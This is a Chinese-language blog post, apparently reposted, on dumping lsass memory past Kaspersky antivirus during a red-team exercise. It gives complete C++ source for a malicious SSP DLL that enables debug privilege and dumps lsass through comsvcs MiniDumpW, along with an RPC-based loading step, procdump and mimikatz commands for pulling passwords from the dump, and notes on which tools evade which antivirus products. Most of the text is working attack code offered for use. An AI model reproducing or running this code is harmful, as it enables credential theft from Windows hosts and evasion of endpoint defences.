繞過卡巴斯基等殺軟抓取 lsass 內存踩坑


正常的 ssp 擴展(dll)可以加載到 lsass 進程中去,比如 kerberos 驗證都是通過加載 kerberos.dll (它就是一種 ssp)調用 sspi 來進行驗證,所以我們就可以控制加載一個我們自己的 dll 執行惡意代碼從而 dump hash,但是殺軟肯定會對常規 SSP 擴展加載進行檢測,所以看了 xpn 的文章,可以通過 RPC控制 lsass.exe 進而加載 SSP 擴展。

前言

最近與公司大佬打了一波攻防演練,讓我抓個密碼,dump 內存下來,以為是有卡巴等殺軟保護了 lsass 所以抓不到,就嘗試復現了一下網上大佬的通過 RPC 調用添加一個 ssp dll 讓 lsass 中自己抓自己的內存的騷操作,其中踩坑無數,做一下記錄。
參考:
繞過卡巴斯基橫向移動

編譯

我們可以通過下載 xpn 大佬的代碼(注意有一個頭文件,兩個.c的代碼文件),改后綴為 cpp 編譯的時候選擇 x64 在前面添加如下代碼 #pragma comment(lib, "Rpcrt4.lib"),編碼多字節,這樣就能編譯了,得到 ssp.exe。
之后我們需要編寫我們的惡意 dll,這里貼一下 Ateam 的源碼,直接編譯就可

#include <cstdio>
#include <windows.h>
#include <DbgHelp.h>
#include <iostream>
#include <TlHelp32.h>
#pragma comment(lib,"Dbghelp.lib")
typedef HRESULT(WINAPI* _MiniDumpW)(
    DWORD arg1, DWORD arg2, PWCHAR cmdline);

typedef NTSTATUS(WINAPI* _RtlAdjustPrivilege)(
    ULONG Privilege, BOOL Enable,
    BOOL CurrentThread, PULONG Enabled);

int dump() {

    HRESULT             hr;
    _MiniDumpW          MiniDumpW;
    _RtlAdjustPrivilege RtlAdjustPrivilege;
    ULONG               t;

    MiniDumpW = (_MiniDumpW)GetProcAddress(
        LoadLibrary(L"comsvcs.dll"), "MiniDumpW");

    RtlAdjustPrivilege = (_RtlAdjustPrivilege)GetProcAddress(
        GetModuleHandle(L"ntdll"), "RtlAdjustPrivilege");

    if (MiniDumpW == NULL) {

        return 0;
    }
    // try enable debug privilege
    RtlAdjustPrivilege(20, TRUE, FALSE, &t);

    wchar_t  ws[100];
    swprintf(ws, 100, L"%hs", "784 c:\\1.bin full"); //784是lsass進程的pid號  "<pid> <dump.bin> full" 

    MiniDumpW(0, 0, ws);
	return 0;

}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved) {
	switch (ul_reason_for_call) {
	case DLL_PROCESS_ATTACH:
		dump();
		break;
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
	case DLL_PROCESS_DETACH:
		break;
	}
	return TRUE;
}

修改

但是我使用 Ateam 的代碼進行 dump 內存,發現編譯了后有時候 dump 不下來,后經過修改找到了一個自動獲取 lsass 的 pid 的代碼:

#include <cstdio>
#include <windows.h>
#include <DbgHelp.h>
#include <iostream>
#include <TlHelp32.h>
#pragma comment(lib,"Dbghelp.lib")

typedef HRESULT(WINAPI* _MiniDumpW)(
	DWORD arg1, DWORD arg2, PWCHAR cmdline);

typedef NTSTATUS(WINAPI* _RtlAdjustPrivilege)(
	ULONG Privilege, BOOL Enable,
	BOOL CurrentThread, PULONG Enabled);

char* WcharToChar(wchar_t* wc)
{
	char* m_char;
	int len = WideCharToMultiByte(CP_ACP, 0, wc, wcslen(wc), NULL, 0, NULL, NULL);
	m_char = new char[len + 1];
	WideCharToMultiByte(CP_ACP, 0, wc, wcslen(wc), m_char, len, NULL, NULL);
	m_char[len] = '\0';
	return m_char;
}

DWORD ID(const char* pName)
{
	HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	if (INVALID_HANDLE_VALUE == hSnapshot) {
		return NULL;
	}
	PROCESSENTRY32 pe = { sizeof(pe) };
	for (BOOL ret = Process32First(hSnapshot, &pe); ret; ret = Process32Next(hSnapshot, &pe)) {
		if (strcmp(WcharToChar(pe.szExeFile), pName) == 0) {
			CloseHandle(hSnapshot);
			return pe.th32ProcessID;
		}
	}
	CloseHandle(hSnapshot);
	return 0;
}

int dump() {

	HRESULT             hr;
	_MiniDumpW          MiniDumpW;
	_RtlAdjustPrivilege RtlAdjustPrivilege;
	ULONG               t;

	MiniDumpW = (_MiniDumpW)GetProcAddress(
		LoadLibrary(L"comsvcs.dll"), "MiniDumpW");

	RtlAdjustPrivilege = (_RtlAdjustPrivilege)GetProcAddress(
		GetModuleHandle(L"ntdll"), "RtlAdjustPrivilege");

	if (MiniDumpW == NULL) {

		return 0;
	}
	// try enable debug privilege
	RtlAdjustPrivilege(20, TRUE, FALSE, &t);

	wchar_t  ws[100];
	DWORD pid = ID("lsass.exe");
	swprintf(ws, 100, L"%u %hs", pid, "C:\\1.bin full"); //784是lsass進程的pid號  "<pid> <dump.bin> full" 

	MiniDumpW(0, 0, ws);
	return 0;

}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved) {
	switch (ul_reason_for_call) {
	case DLL_PROCESS_ATTACH:
		dump();
		break;
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
	case DLL_PROCESS_DETACH:
		break;
	}
	return TRUE;
}

修改配置類型為.dll,使用 unicode 編碼字符集,就可以編譯

效果

接下來可以看看效果

procdump

procdump是會被卡巴斯基攔截的,拒絕訪問
procdump64.exe -accepteula -ma lsass.exe lsass.dmp

但是 360 什么的是沒問題的

SSP

但是我們用 RPC 調用注入 dll 是可以成功 dump 下內存。
SSP.exe 絕對路徑\dllinject.dll
這里還有個坑,有的系統他可能會提示沒有ucrtbased.dllvcruntime140d.dll,這里只需要網上搜一下下載放在c:\windows\system32\目錄下就可以了

接下來就是常規操作讀內存

mimikatz # sekurlsa::minidump 1.bin
mimikatz # sekurlsa::logonPasswords full

mimikatz

直接被殺了,不需要試了

SharpDump

在查找資料的過程中發現一個號稱可以過殺軟讀內存的 SharpDump ,我們也可以看看能不能過卡巴斯基,和 mimikatz 一樣,直接被殺了

但是可以過 360
./Sharpdump


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM